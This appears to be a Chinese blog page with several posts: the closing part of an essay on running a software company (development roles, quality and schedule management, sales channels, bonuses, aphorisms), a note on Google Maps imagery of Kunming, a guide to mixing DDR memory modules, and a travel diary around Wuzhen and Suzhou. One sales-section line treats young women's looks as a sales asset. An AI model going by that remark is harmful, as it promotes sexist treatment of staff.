  开发部的项目负责人(以下简称项目负责人)是开发部的核心人员,不一定长期固定于某个产品,产品设计启动时由开发部负责人根据情况指定,工作中对开发部负责人及公司产品负责人双重负责。在开发部负责人的协调下,项目负责人与开发部各专业子部门负责人商讨协调人员组成项目组。项目组的每个员工对专业子部门负责人及项目负责人双重负责。项目负责人主要进行方案设计(主要版本功能定义的进一步细化),以及质量、进度、技术等管理。根据产品设计的不同阶段可以增减的项目组的成员,但项目负责人及专业核心骨干要保持稳定。对于承接客户项目工程的情况,项目负责人的方案设计可以作为合同技术附件。
  开发部负责人主要对专业子部门负责人及项目负责人进行管理,具体对所有运行项目的质量、进度、技术进行管理,同时对开发部所有人员的工作负荷等进行管理。
  专业子部门负责人对各项目中与自己专业相关的技术、质量、进度进行管理,同时对子部门的人员的工作负荷等进行管理。专业子部门负责人确保从自己部门交出去的工作结果代表部门的水平(质量、技术等),而不是某个设计人员的个人水平。
  产品开发的过程可以简单化分为方案(原型)、功能设计、代码设计、质检、测试等几个阶段,实际的项目运行是这些阶段的调整与重复。方案设计是用开发的语言对产品主要版本功能的描述,如功能实现或业务流程等。方案是项目负责人写给产品负责人看的。对于客户定制型软件开发项目工程而言,方案是项目负责人写给客户的领导或项目负责人看的。功能设计是系统架构、用户界面、数据及数据库定义、通讯协议、类或函数的定义等等。功能设计是给编码、质检等具体设计人看的。对于客户定制型软件开发项目工程而言,功能设计中的系统架构、用户界面等也是给客户的项目负责人或具体操作人员看的。
  产品开发过程的阶段划分及重复是对产品负责人及项目负责人能力的真正考验。整个开发过程中只出一两个中间版本很容易将大问题留到最后才发现,但中间版本出得太多会导致返工量、重复工作量太大。公司整个经营团队对产品的认识成熟程度(或定制客户的成熟程度)、成本压力、骨干技术力量缺乏等等均会对此过程产生重大影响。产品负责人及项目负责人的职业精神往往是重大困难面前的解决因素,好的做法是在自己被解职前顶住各种压力将工作按照既定做法计划进行下去,尽最大可能完成。
  质量管理应该贯穿产品开发的整个过程、各个环节,包括产品负责人的工作。虽然整个公司应该有统一的质量管理方法与质检部门,但产品负责人而不是质检部门负责人应该对产品最终负责,项目负责人是质量的具体负责人。质检部门应该当作一个专业部门看待。贯穿于整个开发团队的质量管理责任、思想及方法而不是质检部门是真正保证质量的决定因素。具体开发设计工作开始前的标准、规范制定是确保质量的好方法。每一个专业子部门的工作人员的工作成果在交出去之前必须要经过专业负责人的质量检验(技术审核见后),重要情况可以进行多级检验。每一项具体开发设计工作结果的接收者、使用者应该首先对结果进行质量验收。出现质量问题应该实行追溯制,从质量问题发现点到质量问题原因点之间所有相关的人员,包括具体设计人、接收人、专业子部门负责人、项目负责人、产品负责人、质检部门人员及负责人(如果涉及到的话),都应该被追究责任。如果是已送交生产的成品或交付客户的产品出现质量问题,对公司造成经济或信誉损失,则整个项目组及涉及的管理人员,包括无辜管理人员无辜设计人,应该共同被追究责任,承担处罚。质量管理的重要性应该超过进度管理及技术管理;与成本管理的重要性比较则视实际情况而定。在有效的质量管理制度及严格责任追究体制下,各级人员会自发的产生许多切实可行的质量保证方法。出现质量问题只追究具体设计人而不追究管理人员的责任是质量管理失败的根本原因。
  进度管理的本质是解决变化与平衡的问题。产品负责人有自己的进度计划表,其它各部门以此编排各自的进度计划表,开发部负责人、项目负责人以及专业负责人以此编排专业开发及质检进度计划。各级管理人员应该每天检查自己所管理的每一个项目的进度运行情况,尤其是计划中的关键路径。项目运行中因为各种问题导致进度拖期(也有提前)是非常正常的情况。进度出问题很多情况下是可以预见的,具体设计人、专业负责人、项目负责人应该及时评估进度问题的严重性,并及时向上级管理人员汇报以便解决。进度问题的最终责任人是产品负责人。出现进度问题后,应该尽可能在尽量小的范围内解决,保持整体进度计划的稳定性。某个部门的进度计划一旦进行调整很可能涉及其它多个部门的进度计划,应该慎重对待。开发部内部的进度问题应该由部门负责人、项目负责人、专业负责人共同解决,专业负责人要有预先准备。从产品负责人开始,逐级进度计划应该保留一定量的冗余时间以便调度。在承接外包项目时,与客户共同编排的联合进度计划应该作为合同附件。在不影响产品主要功能特点实现的情况下,进度管理的重要性超过技术管理。无所不能的技术高手最容易在排进度计划时犯错误,往往到最后不得不熬夜加班。市场部、销售部门向市场客户的吹牛是进度管理的敌人,由此产生与开发部的矛盾的责任应该归咎于产品负责人。
  技术管理是解决如何实现产品竞争力的问题。技术包括功能定义、开发技术及专有(专利)技术等。功能定义是指对产品功能的描述或对客户业务的描述,来自长期的客户需求分析、接触沟通等。开发技术是指软件开发的方法及技术,通常来自对开发工具及开发接口的学习及实际应用。专有(专利)技术是公司针对特定的功能定义自行开发的体现主要竞争力的技术,需要的情况下可以申请专利保护。在整个行业的技术应用链中,从底层的基础技术产品到上层的应用技术产品,越是上层的产品的更新换代越快。从技术开发的角度看,底层产品的竞争力主要体现在专有技术方面,上层产品的竞争力主要靠功能定义的准确及时的更新换代来实现。通常产品负责人侧重于功能定义(或专有技术),而项目负责人侧重于开发技术,专业技术团队(子部门)则是技术的真正实现者。功能定义的高可变(可适应)性、专有技术的稳定性以及开发技术的适度与及时更新等三者之间的平衡是产品负责人、项目负责人技术管理的主要工作,当然还要考虑与其他管理的平衡。重要的专有(专利)技术可以作为公司内部产品进行管理。产品开发项目中技术难关的预先定位,以及技术攻关是项目负责人与专业负责人的责任。专业技术开发规范的制定是专业负责人的责任。每一个专业子部门的工作人员的工作成果在交出去之前必须要经过专业负责人的技术审核,重要情况可以进行多级审核,以确保工作成果代表专业部门的技术水平,而不是某个专业人员的水平。在项目开发的适当阶段可以进行互相审核、审阅,以互相借鉴及提高。基础技术及产品的重大进步是行业开发技术及产品革命性变化的开始,忙得顾不上学习应用的产品负责人、项目负责人要做好被淘汰然后从头再来的心理准备,找机会、找借口躲到其他管理职位只是淘汰过程的开始。某些对开发工具及开发接口深入研究、无比熟悉的技术高手想做什么都能做出来,但经常不知道该做个什么东西,这是一路紧跟着开发工具供应商往前走的书呆子们的悲哀,而且经常因为与应用需求的技术差距而产生寂寞高手的痛苦。简单听信、迷信最新开发技术能提高产品竞争力并付诸行动导致失误是项目负责人及产品负责人的责任。
  成本管理是解决能否承担的起开发费用以及解决能否挣钱的问题。成本管理应该纳入产品的统一资金运作计划管理,由财务部核算、监督。成本控制的责任人是产品负责人。软件产品开发过程可以进行开发阶段级的有一定误差的成本管理,因为创造性强、不确定性大,所以不适合于采用详细的成本管理方法。产品项目开发过程中产品负责人应定期与财务部讨论阶段成本支出差额及预计差额,对于成本计划外大幅增加应尽早进行处理。公司主要负责人应该在成本支出达到警戒底线时果断采取措施,例如停止开发、撤掉开发项目(甚至团队),追究产品负责人及其他各级管理人员的责任。
  自己开发不了的产品可以先去做别人产品的代理商或经销商——也就是如果公司主要经营着只有销售能力优势,在此基础上逐步建立自己的开发队伍与产品。这种情况非常依赖特定的市场环境。

  10. 生产产品
  本版略。

  11. 产品宣传及销售
  产品的宣传策略、销售策略、渠道的建立培养等是是产品整体运作计划的一部分,由产品负责人负责制定与实现。
  市场销售部门的宣传销售工作必须要配合到客户的业务开展过程或消费季节中,从客户的工作(消费)计划开始,包括采购计划的制定过程,到工作的具体开展(采购的评比、决策、实施、验收),一直到工作成果的考核,贯穿整个过程,长期持续进行。
  渠道(如期前所述,包括对大客户直接销售)的建立与维护工作是产品销售工作的核心,产品的宣传是为渠道服务的。渠道的本质是在市场环境中,双方对产品及服务、负责人、销售政策、资金运作状况、稳定性等方面的理解与信任。软件产品在采用面对普通消费者大规模直销方面有天然的优势(借助互联网),但需要等待社会消费观念、习惯的建立。
  渠道负责人是市场销售部门的核心人员,负责某一种或某一类成熟产品的销售渠道的建立与维护,以及通过渠道进行产品销售。渠道负责人对产品负责人负责,接受市场销售部门负责人的监督管理。渠道负责人可以从开发部选拔培养,以便具备深入的产品专业素养。
  市场销售部门负责人协同产品负责人将产品宣传、销售计划安排到每个渠道负责人,监管所有的产品销售计划的实施,对所有销售人员的工作负荷、业绩进行考核。
  当渠道负责人忙不过来的时候,或者有些简单低级的工作可以分出来做的时候,可以给渠道负责人配适当的销售辅助人员,主要从事如监督发货、与客户具体产品使用人进行沟通、处理投述等等工作。售前技术支持人员可以在市场销售部门单独管理,分时服务于每个渠道负责人,特殊情况下可以直接协助渠道客户进行工作。售后技术支持单独划分,归开发部直接管理,业务上保持与产品负责人、开发部负责人、渠道负责人的及时信息传递与沟通。客户投述受理人直接归市场销售部门负责人管理。
  在宣传销售过程中,除了用产品(及必需的服务)使客户在功能需求方面达到满足外,还应该用服务使客户在心理需求方面达到满足,某些情况下还应该考虑其他需求。在心理需求方面,客户的需求主要是在产品应用的诸多方面的信任、理解、顾虑、困难、希望、理想、费用承受能力等等。心理需求对采购决策的影响非常大。与渠道或重点客户进行深层的心理沟通、交流是产品负责人、市场销售部门负责人及渠道负责人的责任。在这方面,相关人员的年龄、社会经历、行业经历(背景)等是重要的必备条件。女性的年轻漂亮在销售公关过程中可以发挥很大的辅助作用,但不能仅凭此来承担重任,尤其在深层沟通及重大决策方面。
  渠道策略是关系产品长期销售的重大问题,由产品负责人负责制订实施,公司主要经营者监督。在开拓市场的时候,产品销售渠道的建立主要是产品负责人的责任(市场销售部门负责人配合),很多情况下公司主要负责人也应大力协助,同时在渠道建立过程中可以培养渠道负责人。在产品的市场占有率达到一定份额并且品牌信誉建立后,销售渠道的建立可以主要由渠道负责人负责。
  产品宣传由产品负责人统筹安排,纳入产品整体运作计划。具体产品宣传可以在从产品方案设计定稿后开始准备及运作,由市场人员通过媒体向客户直接宣传,或由销售管理人员带领渠道负责人举办产品展示会向渠道展示宣传。产品宣传方式及材料应该尽可能在创意方面推陈出新,以便给接收者留下深刻印象。面向渠道的产品展示会是集中建立大量渠道的好机会,公司主要经营者、产品负责人、市场销售负责人等应高度重视,并安排一定比例的产品宣传费用(成本)。
  一个产品销售周期内的销售量计划的具体内容是合同签订计划。总的销售量计划制订后,市场销售部门负责人将计划细分给渠道负责人。渠道运行状态的关注及合同签订计划的执行监督是市场销售部门负责人的责任。销售合同的样稿制定、关键条款的约束等也是销售部门负责人的责任,同时要征求律师的意见。与渠道讨论签订供货合同(或定制产品供货合同、项目开发合同)是渠道负责人的主要工作之一,有困难的情况下可以申请上级管理人员协助。合同的审核与真正签订必须至少经过销售部门负责人。销售部门负责人对所有的合同的执行进行管理。销售计划执行过程中出现问题后,由市场销售部门负责人及产品负责人负责解决。如果问题导致需要调整整个计划,则应尽早通知主要经营者以便通盘处理。
  产品销售中的定价策略或定价范围应该在整个产品的销售计划中进行考虑,综合成本、利润、资金流量(周期)、客户承受能力、渠道分成、竞争产品、风险等等因素,由产品负责人负责组织制订。具体合同中的销售价格由渠道负责人商谈,销售部门负责人审核监督。渠道间的价格竞争的本质是渠道负责人之间的竞争,应该妥善解决,销售部门负责人责无旁贷。对于渠道自行发动的恶意的价格行为,监督及处理的责任人也是销售部门负责人。价格保密及控制应该是合同的重要内容。
  产品供应计划应该作为生产部门的采购、生产、备货计划的基础。销售部门负责人应该指派专人统筹协调部门间的关系。销售合同执行过程中的产品的发货、到货等情况应及时通知渠道负责人。销售部门负责人应该对销售过程中的产品供应情况进行检查监督。渠道负责人盲目发货、渠道屯货串货等问题的发现及处理是销售部门负责人的责任。
  销售回款计划及实施是整个产品运作计划中资金计划及实施的支柱,产品负责人对此责无旁贷,财务部门负责监督。销售合同执行过程中的回款、催款是渠道负责人的责任,对每个合同的回款情况的监督是销售部门负责人的重要责任。
  销售成本,包括合同前的成本与合同签订后的成本支出应该纳入产品销售计划,并且与产品销量有所关联,由产品负责人、销售部门负责人、渠道负责人,以及财务部共同协商讨论制定。销售计划运行过程中由渠道负责人申请领用,部门负责人进行审批(或更高级负责人最终审批),各级管理人员进行监督。只要不超出销售计划成本范围,各级管理人员应该尽量尊重渠道负责人的成本支出意见。与开发成本管理一样,当总销售成本超出警戒底线时,公司主要经营者应该果断进行处理,尽最大努力维持已签合同的正常运行,调整公司整个产品运作队伍及运作方式,对产品负责人及相关管理人员进行处罚。
  产品的市场份额应该作为产品计划的一个重要部分,由产品负责人负责。市场份额是对产品负责人工作考核的重要指标(仅次于现金流),公司主要经营者应高度重视。
  最终客户对产品及服务的满意程度是整个产品市场销售工作的整体检验,也是对产品负责人及各级团队的工作的一项考核指标。公司主要负责人应该另组织团队进行调查。
  品牌是产品长期良好运作的结果,本质是渠道及客户对公司产品运作团队的工作的长期信任。靠大投入短时间出来的品牌带动产品及团队走向良性发展的难度非常高,没有成熟的运作良好的团队很容易变成昙花一现。

  12. 收获与激励
  资金收入的需求对所有员工是共同的,一般由基本工资、奖金组成。基本工资主要解决员工的责任体现与基本稳定问题,具体数值可参考养家糊口生活费用、岗位、行业员工同比普通水平等。奖金主要实现激励与反馈的效果。奖金可以有短期奖金与长期奖金两种形式。短期奖金主要对较短周期的工作进行奖励,主要是对一个团队的奖励,应该在工作计划中进行安排,例如开发部的项目开发奖金,市场销售部门的销售季节奖金。长期奖金对一个经营周期的工作进行奖励,总奖金数额要根据整体经营状况来计算、分配,奖励对象包括公司所有员工。
  短期奖金制度的实行应该非常慎重。短期奖金总额的确定、人头数额的计算、逐级授权审核与发放等等涉及到的事务非常多,各方面的公平几乎不可能保证,引发的矛盾与利益小团体等问题对于正向激励的目的很可能适得其反。在没有良好运作的管理团队情况下,可以简单的将短期奖金分摊到工资与长期奖金中去。
  长期奖金的计算及发放可以主要按产品来划分。每个人都公平同样不可能达到,可以一定范围内简单均分或划定某些比例。长期奖金的发放导致的矛盾同样不可避免。
  在以奖金激励工作成绩很困难的情况下,根据工作职位、责任大小、重要程度等因素,拉大员工的基本工资差距是另一个办法。这个办法的本质是预先指定奖金的大小,容易导致轻业绩、重官位的问题。
  资金收入的另外一种形式是股份制与期权,本质是奖金比例的长期固定,其对管理的激励作用比拉大基本工资差距的效果还差,相当于领导能上不能下。真正实施股份制与期权应该是为了公开上市或被收购后瓜分所得。可行的做法是上市之前不分红,少分奖金,以便将资本公积金比例调大用于最大程度扩大营业规模,经营团队同心协力制造繁荣景象四处寻找买家将自己卖掉或公开上市。这种做法投机性(短期资金回报)太强,会给未来遗留很多深层的大问题。
  通过变更注册资本来调整或增加公司高级管理人员的持股比例的做法的本质是公司重大经营决策权的调整,而不是奖金的分配方式。中高层管理团队的人员力量的更新换代是通过竞争选拔任命来实现的,而公司主要经营者的更新换代是通过股份比例的变化来实现的。公司主要经营者的主要任务在打江山稳定发展之外,就是建立主要经营权的交接机制并判断交接时机,以及物色、培养继任者。太过注重银行存款、没有长远理想的经营者的通行做法是招聘高级职业经理人全面管理公司自己监督,但经常痛苦的发现任命的经营者有太多短期行为而将其换掉。主要经营者终有一天跟不上市场变化是无庸置疑的,高速发展的软件行业尤其如此,大多数抓住某个机会盛极一时的经营者在还没明白过来时就步履维艰了,连准备的时间都没有。
  除了资金收入外,员工的收获还可以有很多。跟随好领导所得的言传身教,良好协作的团队感,困难环境中的被信任感,面对困难艰苦努力成功后的成就感,个人专业能力、管理能力的提升,工作职位的提升,作为公司一员在行业、社会中获得的尊重、声望,等等,在一般资金收入的基础上适度的利用可以取得很好的效果。对于刚出道的年轻人,这些收获的意义通常可以大过资金收入。
  部下的收获是领导的责任,如果领导自己就看不到部下跟随自己能有什么收获,或自己很难保证给部下什么收获,那就趁早让部下走人,别耽误人家的前程。如果一个领导只想着自己收获,忙不过来的时候找几个帮手,用人过程中低成本大负荷运转,以增加自己的收获,那这种领导到头来只会是孤家寡人。员工离开公司办完手续后一般会吐真言,滤掉感情成分后关于自身收获的总结是衡量其上司的领导能力的简单指标。

  13. 文化与精神状态
  文化是管理方法、运行机制长期运行后自然发酵出来的东西,会反过来作用于员工的思维方式、行为习惯。公司文化形成后的影响力很大、很深远。短期内设立目标培养公司文化纯粹是做秀行为,只会反映运作者的浅薄。
  整个公司的精神状态是公司主要经营者的领导能力在公司内贯彻的最直接表现,某个部门的精神状态能够反映部门领导的管理力度。好的管理方法与管理能力能造成长期的平和为主、适度积极的精神状态,即使在企业运行遭遇逆境的时候。公司或部门长期处于高度兴奋状态是出大问题的前兆。

  三、公司的发展与节奏
  公司是从资源(上游供应商、人力资源、自身资源)到客户(包括下游供应商)的产业链前进中的一个环节。公司的发展应该随着上下游的发展而发展,同时战胜同级的竞争者。公司的发展应该是在同级竞争中体现越来越强大的竞争力,最终将竞争对手逐出市场(违反垄断法另当别论),而不是强行推动客户加快其发展速度,更不是强行拉动上游供应商加快发展。公司主要竞争者对此应该有深入的、清醒的认识。事实上,每个产品市场都有其容量限制,这也是公司的某一个或某类产品发展规模的极限。在达到一定的市场比例后,主要经营者应该适度调整公司的发展速度、发展方向,以免出现过度供应的情况。某一个销售季节的过度供应很可能导致下一个销售季节的消费萎缩。
  将产品在适当的情况下扩展到国际市场上去销售是公司产品发展的另一条道路。
  一般情况下,生命周期长、市场充分竞争(甚至过度竞争)后的产品的利润空间非常有限,即使产品保持一定程度的的升级更新也是如此。理想的状态是在还清贷款、借款后保持低净利润(甚至若干经营周期的无净利润)稳定运行。然而如果有投资性股东存在,如公开上市,经营团队则会面临巨大的盈利压力,即使投资人早已连本带利赚得足够多了。这真是悲哀,一辈子还不完的债。
  在某个或某类产品达到市场最大供应(不一定是极限量)的情况下,公司的发展(如果还有潜力的话)应该开始考虑增加新产品。公司主要经营者应该慎重评估新产品的运作风险,长期储备,潜心等待市场机会。降低新产品运作风险的做法之一是充分利用利用现有的销售渠道,投资研究新技术开发新产品;或者从其他公司购买一个产品OEM贴牌,然后逐步吸收转化成自己的产品。增加新产品的本质是公司主要经营者及管理团队的管理能力、开发能力、销售能力出现余量,具体的结果是成批的新管理人员培养成材。仅靠公司内部优秀的管理方法与理念作为主要基础推动全新的产品与渠道、客户是迷信行为。在董事会的盈利压力之下开发新产品是对高层管理团队的折磨,并且痛苦煎熬之后往往也没什么好结果。
  良好的品牌信誉对开发运作新产品有很大帮助。
  公司运行的动力来自整个管理团队,管理团队的动力来自主要经营者。主要经营者的管理措施执行的节奏是整个公司的基本节奏。在节奏的把握方面,主要经营者要充分考虑各级管理人员、部门的跟随节奏的极限速度。不顾下面的节奏跟随能力主要经营者只管自己快马加鞭、发号施令,结果很可能是全公司到处乱弹琴
  在将公司的发展节奏调整到合适的速度后(不一定已经达到最终目标的高速度),公司主要经营者可以用剩余精力学点什么东西、考虑考虑问题、写点什么;或者找一首老歌放一下,走到窗边给花浇点水,看看远处的青山绿水、白云蓝天。

  四、短语
公司实际上是人民为人民服务的一种形式。
产品如其人。公司如其人。
好作家以好作品传世,好经理以好产品传世。
利润只是管理手段,百年长存才是目标。
企业发展高歌猛进的时候很可能是企业家最傻的时候。
过度运作容易得心肌梗塞。
钱,货币,只是一种信用工具。有信用的人天然有钱。
以损害健康为代价挣来的钱往往不够支付医疗费。
在公司内部以严厉态度推动工作的经营者必须要有特殊的生理优势——能够不停地发火训人而自己的内脏不受损害。
管理公司只是工作的一种,当管理人员的收入超过自己的生活支出的时候,更多的工作其实是在为社会做贡献。如果因此而无暇照顾健康、家庭、老人、子女等,那就是学雷锋学过了头。
偏执狂短期内会形成独门优势,长期积累则会破坏总体平衡。
管理公司的偏执狂与技术研究的偏执狂本质上没什么区别,但结果上会造成更大的破坏。
商业竞争的本质是比赛谁能为客户服务的更好。商业价格竞争的本质是比赛谁的裤腰带可以勒得更紧、工作时间更长。
对家庭没多少责任心的人对公司的责任心也不会很多。对自己的孩子没多少责任心的人对产品/项目的责任心也不会很多。
公司经理拼命多挣钱然后花钱请人来教育自己的子女的本质是承认自己教育孩子不行,结果很难预料。
同样的精力投到产品上可以做出来好产品,投到子女身上可以教育出来好孩子,好孩子的生命周期比好产品长得多,投入回报也高得多。
短期的高压可以有短期的促进作用,长期的高压会有长期的消极作用,超长期的高压会扭曲一个人的性格。
管理职位越高,越孤独,麻烦越多越大,体验成功的时刻越少。
非管理人员到管理人员之间的转化主要是因为能力与机会,与年龄无关。
把一个低水平的人直接安排到一个高级管理岗位上会严重打乱他的世界观与人生认识,有可能他以后连自己原本的路都走不下去。
未训练好的拳击手上台比赛会被打的痛不欲生。未训练好的经营者领导公司参与市场竞争也会被打得痛不欲生。
中彩票头奖后很多人开始迷信自己的运气。公司突然挣大钱后经营者开始迷信自己的能力与机会。
不以自省、自学、自我平衡等方式提高自身素质的高层管理者将以另一种方式提高——摔跟头,大多数是后者。
如果你想向其他人推荐一个好东西,那你必须先真心喜欢这个东西,然后以一种把好东西与人分享的心态推荐给别人。
如果你想向其他人推荐一个自己做的好东西,那你必须先真心喜欢这个东西,然后倾注你的心血,把它做到能够让你感觉以此为荣,然后以一种把好东西与人分享的心态推荐给别人。
管理成长之路:相同的工作你比同事做得好你就可以评价他们的工作,评价工作很准确你就可以帮助他们的工作,帮助工作很有效你就可以指导他们的工作,指导工作很顺利你就可以安排他们的工作,这时候你就是管理人员了。
(全文完)

另:本人虽然近几年管理工作做得多了些,但主要兴趣还是觉得写代码比较好,所以最近准备找一个 Linux 程序员的工作做几年(待遇收入降低理所当然)。欢迎有兴趣讨论管理的朋友来信交流,也希望能帮忙指点个去处(北京)。
我的Email: [email protected] 

今天突然发现Google Map可以Zoom In昆明了,精度可以达到50m!真是很不错啊!如果能把昆明周边的图的精度也提高就好了。现在北市区还打不开。

不过可以看到我们的办公大楼的样子了,图上那个长方形的大楼就是我们上班的地方。

图片附件:
map_office.jpg

   升级电脑内存即能够提高机器的整体性能,又能够很好的节约成本,成为众多用户在升级电脑中首先考虑。随着内存的不断发展,如果DDRII内存大有替代DDR内存的趋势。大家知道,不同类型的内存是互不兼容的。像早期的SD-DDR内存与目前的DDR内存插槽但互不兼容,而DDR与DDRII内存也互不兼容。而即便在DDR平台,由于频率的不同在升级时也会遇到许多的麻烦。例如DDR333与DDR400,如果升级不当,不但不会提高系统的性能,而且还会直接影响到电脑稳定运行,因此我们在升级内存时一定要尽量使用同一品牌、型号的内存。下面介绍一些内存升级注意事项:

  内存混插的最低原则

  目前市场中DDR266、DDR333的内存基本上已经买不到了,DDR内存的最低频率也提升至了DDR400,那么老用户在升级时应该怎么办呢?其实不同频率的同存也并不一定不能够在一起工作,但为了更好地保证内存混插的成功性和稳定性,降低危险,一般情况下,我们都是将低规范、低标准的内存插入内存插槽中的第一位置DIMM l上。另外,最好将高频率的内存通过设置BIOS进行降频使用,使之与低频率的内存保持一致,这样可以提高机器的整体稳定性。

  内存混插中的注意事项

  不可将不同类型的内存混插。一般来说,不同类型的内存的工作电压存在较大的差异,而这个值远远高于内存本身的承受能力,而且不同类型的内存电气接口也大不相同,所以不可将不同类型的内存进行混插。即使主板上提供了两种或两种以上不同类型的内存插槽,除非主板拥有特殊设置项,如果将不同类型的内存混插,由于电压等多种因素的存在,可能会缩短内存的使用寿命,甚至导致内存的烧毁。

  尽量不将同类型不同电压的内存进行混插。如果将这两种不同电压的内存混插,不仅会造成计算机不稳定现象的出现,而且会加速低电压内存的老化甚至是烧毁。

  注意内存负载。任何主板芯片组都对DIMM内存插槽(或是其他形式的内存插槽)进行最大输出功率的限制,这也就是我们同时使用多根双面内存将所有内存插槽插满,而内存总容量并没有达到主板芯片组所支持的内存上线时,计算机无法识别内存总容量,甚至是无法开启的一个重要原因。一般来说,在进行内存混插时,如果出现内存插槽插满的情况,其中一根至少应该使用单面内存条。

  内存混插常见的问题和解决方法

   无法正常开机,甚至出现黑屏。这类现象主要有三个解决的途径:第一,更换内存的位置,这是最为简单也是最为常用的一种方法;第二,在基本能开机的前提下,进入BIOS设置,将内存的相应项(包括CAS等)设置成为低规范的相应值;第三,使用其中的一根内存(如果是DDR333和DDR400的内存混合使用,最好使用DDR333的内存),将计算机启动,进入BIOS设置,强行将内存的相应项设置成为低规范的相应值,确定无误后,方可关机插入第二根内存。

  计算机运行不稳定。这类问题的出现主要是内存兼容性造成的,解决的基本思路是:第一,更换内存的位置;第二,升级更新更好的操作系统,一般来说新的操作系统拥有更好的管理机制,能更好地使用和调配不同型号的硬件;第三,如主板支持,使用主板上内存异步项强行设置内存的工作频率(以低规格的为准)。

  如果内存温度过高,出现这种现象的最大的可能性就是使用了不同电压的内存进行混插。解决的方法主要看主板是否支持内存电压可调,如果主板支持,可在主板上或BIOS中强行设置内存的电压为所有混插内存中的电压最低值。

  混插后内存的总值和电脑检测的内存值不等。造成这种现象的原因,第一种可能是由于主板BIOS版本过低,所能支持内存的总值拥有一个上线限制,超过上线值的部分均下能识别和使用,解决的方法是下载主板最新的BIOS程序进行刷新;第二种可能是主板芯片组自身的原因所造成的,一些老主板只支持256MB内存的容量(甚至更低),超出256MB的部分,均不能识别和使用,解决这问题的惟一方法就是更换主板。

  第三天 2006.06.12 西塘 - 乌镇 - 苏州

  西塘 - 嘉善 - 嘉兴 - 桐乡 - 乌镇 - 桃源 - 震泽 - 苏州

  因为感觉西塘非常不错,上午就又逛了一下西塘。一直到11点了,才从西塘出发。先从西塘乘车到了嘉善,刚好碰上有回嘉兴的出租车,就一人10元坐回了嘉兴。本来计划到了嘉兴长途汽车站转大巴到乌镇的,但是运气又比较好,在车站门口碰上了回桐乡的出租车。就坐上了出租车一人10元到桐乡,又每人加了15元钱,从桐乡到了乌镇风景区门口。这一路还好都非常顺利,到乌镇风景区门口差不多2点钟的样子。把行李寄存在游客接待处,就开始进去逛了。
  不知道是玩了西塘感觉非常好,还是乌镇本身就这样。觉得乌镇不好玩,它的商业气氛非常重。门口买了套票,进去到每个景点都要在票上打孔来检票。进去每个景点,都象看展览一样……稍微有点意思的,就是最后看的皮影戏。里面的各种消费也非常的贵,一小碗绿豆冰就要五元(里面没冰),一个鸡蛋大的糕就2.5元(没馅的)。如果要坐船的话,100元一次/船。
  从乌镇景区出来,已经接近6点了。因为中午打车的时候问了一下司机,司机说从乌镇到苏州的话很容易,先坐车到桃源,然后再过十多分钟的路程就到了,而且最后一班车在6点钟发车。所以我们抓紧时间,在6点赶到了乌镇的长途车站(车站距离风景区门口就10分钟的步行路程)。赶上了到桃源的末班车,6:15分发车。但是我们到了车上一问才知道,桃源距离苏州还有很远的一段路,要走好几个小时的。怎么办?不走的话就只能跑到桐乡去住。犹豫了一下,决定一定要赶到苏州。于是就根据长途车司机的介绍,我们先乘车到了桃源,然后从桃源转车到震则。由于震泽就在通向苏州的G318国道旁边,所以我们当车到G318国道的时候又转乘上了G318国道上到苏州的大巴。象这样,我们到苏州的时候就已经天黑了,大概7:50左右。
  虽然路上历尽坎坷,但是总体说来,我们坐车还是比较顺利的。下了车,马上就能转上另外一趟车。虽然不是直达的大巴,但是象这样坐车真是感觉还是有点刺激的。一切都是unplan的,只有大体的计划,而具体怎么实施根本就不知道,只有到了当地以后再落实。

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织布

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救火会

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乌镇河

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当铺

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皮影戏

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翰林第                                                           古戏台